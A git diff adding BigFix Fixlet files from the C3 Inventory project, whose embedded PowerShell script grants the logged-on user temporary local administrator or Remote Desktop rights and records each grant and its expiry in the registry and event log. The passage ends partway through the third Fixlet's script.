+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Authorized Requestors - Windows
+  ID       : 24154
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet marks the currently logged on user as being an authorized temporary administrative rights requestor. This can be paired with the other Authorized Admin Requestor content to manage who is allowed to request administrative rights on an endpoint.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add the user as an Authorized Temporary Admin Requestor.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component string of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes
new file mode 100644
index 000000000..33af957fe
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Remote Desktop Users - Windows
+  ID       : 24406
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Remote Desktop Users group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will not be relevant if the currently logged on user is a part of the Remote Desktop Users group or the Administrators Group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group or the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes
new file mode 100644
index 000000000..d6cd194bd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes	
@@ -0,0 +1,807 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Temporary Administrators - Windows
+  ID       : 24155
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet grants a user administrative rights and creates a store of users with their expirations dates/times.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25210">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 8*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25211">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
